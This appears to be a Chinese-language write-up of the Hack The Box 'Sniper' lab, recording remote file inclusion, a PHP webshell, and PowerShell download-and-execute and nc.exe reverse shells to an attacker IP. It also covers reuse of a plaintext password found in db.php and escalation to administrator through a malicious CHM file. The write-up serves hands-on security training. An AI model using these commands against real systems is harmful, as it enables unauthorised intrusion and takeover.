hackthebox sniper medium
主机发现
nmap --min-rate 1000 -p- 10.10.10.151
发现80 和445端口
端口探测
首先利用smbclient 进行端口探测
smbclient -L //10.10.10.151
连接错误 (后面发现是因为本地smb配置错误导致的)
切换方向
访问80端口发现是一个类似博客的页面
鼠标悬浮可以查看到左下角的悬浮跳转url,发现有一个/blog/index.php
正页查看并查看源代码并没有发现不妥之处,将鼠标继续指向几个能跳转的地方,发现切换语言的超链接类似有一个lang=xx.php的后缀
那么这里很有可能会有LFI和RFI
进入抓包页面
首先尝试抓取一下/blog页面所用到的css相对路径,路径在/blog/index.php能够找到
注意相对路径的位置
尝试能不能LFI
但是想想windows的信息其实没有特别多敏感的,敏感的文件都给上了最高权限所以直接尝试能不能RFI
尝试能不能RFI
首先在本地创建一个test.php文件并写入一句话的测试 <?php system('echo RCE TEST');?>并开启python服务器
抓包 lang=\\kali's ip\test.php看看返回包
最后也是成功输出,那就说明RFI能够执行php文件,再写入一个一句话木马
rce.php <-- <?php system($_REQUEST['pleasesubscribe']);?>
改包传值 lang=\\kali ip\rce.php&pleasesubscribe=whoami (成功执行)
那么利用这个webshell进行一个反弹shell的操作
尝试powershell能否进行运行
pleasesubscribe=powershell+whoami (成功)
1.由于是windows环境,尝试能不能用poweshell进行反弹 (失败)
pleasesubcribe=IEX(NEW-Object+Net.WebClient).downloadString('http://10.10.14.2/pleasesubscribe.ps1')
在这个invoke-powershellTCP.ps脚本中的最后一行修改address和port kali10.10.10.2 ip port9001
本地将nishang的powershell反弹ps本开启python服务器等待下载回弹
python -m http.server 80
nc -lvnp 9001
无事发生
2.利用kali的/usr/share/windows-binanry内置的几个exe例如
包含nc.exe
利用kali的nc将靶机的powershell开启反弹到我们主机中
pleasesubscribe=\\10.10.14.2/nc.exe -e powershell 10.10.14.2 9001
运行命令
反弹成功
反弹成功后搜寻一下windows的铭感目录以及网页根目录iterhub/root
查看有什么用户 net user
发现了一段配置php
查看db.php type db.php 发现了一段数据库使用的账号密码
密码是长难句,用户名是sniper
可以利用crackmapexec去破解长难句的密码
crackmapexec 10.10.10.151 smb -u cris -p '36mEAhz/B8xQ~2VM'
报错
原因是因为目录中有smb目录
重新进入到一个没有smb目录的文件夹即可运行crackmapexec 10.10.10.151 smb -u cris -p 'xx'
发现成功拿下这确实是一个用户名和匹配的密码
所以这个账号密码很有可能是用户cris在本机的密码
利用powershell将环境变量设置成cris和对应密码并将新设置好的密码反弹到一个新shell上
对两个参数进行设置
$pass=密码
$pass=ConvertTo-SecureString "密码" -AsPlainText -Force
$cred=New-Object System.Management.Automation.PSCredential("Chris",$pass)
再利用invoke-command执行命令
Invoke-command -ComputerName Sniper -Credential $cred -ScriptBlock {whoami}
报错!
发现是因为$cred设定命令中,利用凭证是需要将计算机名\\用户名+密码一块绑定
$cred = new-object system.management.automation.PSCredential("Sniper\\Chris",$pass)
tips:这里两个\是因为要转义
重新试一下运行invoke-command看看是否将环境变量设置成chris的
invoke-command -ComputerName Sniper -Credential $cred -ScriptBlock {whoami}
成功执行
将这个已经改变了环境变量为chris的shell反弹到一个新的监听端口中
invoke-command -ComputerName Sniper -Credential $cred -ScriptBlock {\\10.10.14.2\nc.exe 10.10.14.2 9001 -e powershell}
本地机器:rlwrap nc -lvnp 9001
通过rlwrap 进行前提可以让监听到的shell能够利用上下键进行快速命令执行
查看目录下的文件有什么
gci遍历文件
gci -resure -include *.* | select FullName
由于是powershell类型的靶机,尝试用powershell框架的渗透工具将最高权限反弹到linux中
这里利用nishang的out-chm.ps1进行
启用另一台windows机器下载nishang的脚本下载并使用out-chm脚本,有关脚本的解释在这
再找一个out-chm脚本的原始payload进行改造
PS > Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
payload后面加的是代码 而hhcpath就是指HTML Help workshop的绝对下载路径
根据提示运行一下ps脚本
尝试一
1.import-module .\OUT-CHM.PS1
2.powershell运行 : .\out-chm.ps1 -payload "\\10.10.14.2\htb\nc.exe -e powershell 10.10.14.2 9001" -HHCpath "c:\program files(x86)\html help workshop"
就会在攻击者的windows创建于给nc.chm 将这个nc.chm放入在kali的smb中让靶机windows能够利用copy \\10.10.14.2\htb\cmd.chm . 的方式复制并执行
靶机windows操作
copy \\10.10.14.2\htb\cmd.chm .
但是失败了并没有反弹相关的shell
尝试二
1.在靶机上的一个可落地目录下载到kali上的nc.exe
将nc.exe拖动到smb共享目录上并且让windows下载
copy \\10.10.14.2\htb\nc.exe .
可能存在说一个deny的情况但是这属于权限不足的问题,kali上修改smb共享目录内的文件权限为777 chmod 777 nc.exe即可
2.在攻击者windows上利用nishang的out-chm进行创建一个恶意chm
ps > .\out-chm.ps1 -payload "c:\users\chris\download\nc.exe -e powershell 10.10.14.2 9001" -hhcpath "c:\program files(x86)\html help workshop"
本地改名叫一个nc.chm
3.将nc.chm放入到smb中让靶机windows copy下载
copy \\10.10.14.2\htb\nc.chm .
也可以利用invoke-webrequest下载
4.反弹成功 这个是administrator的shell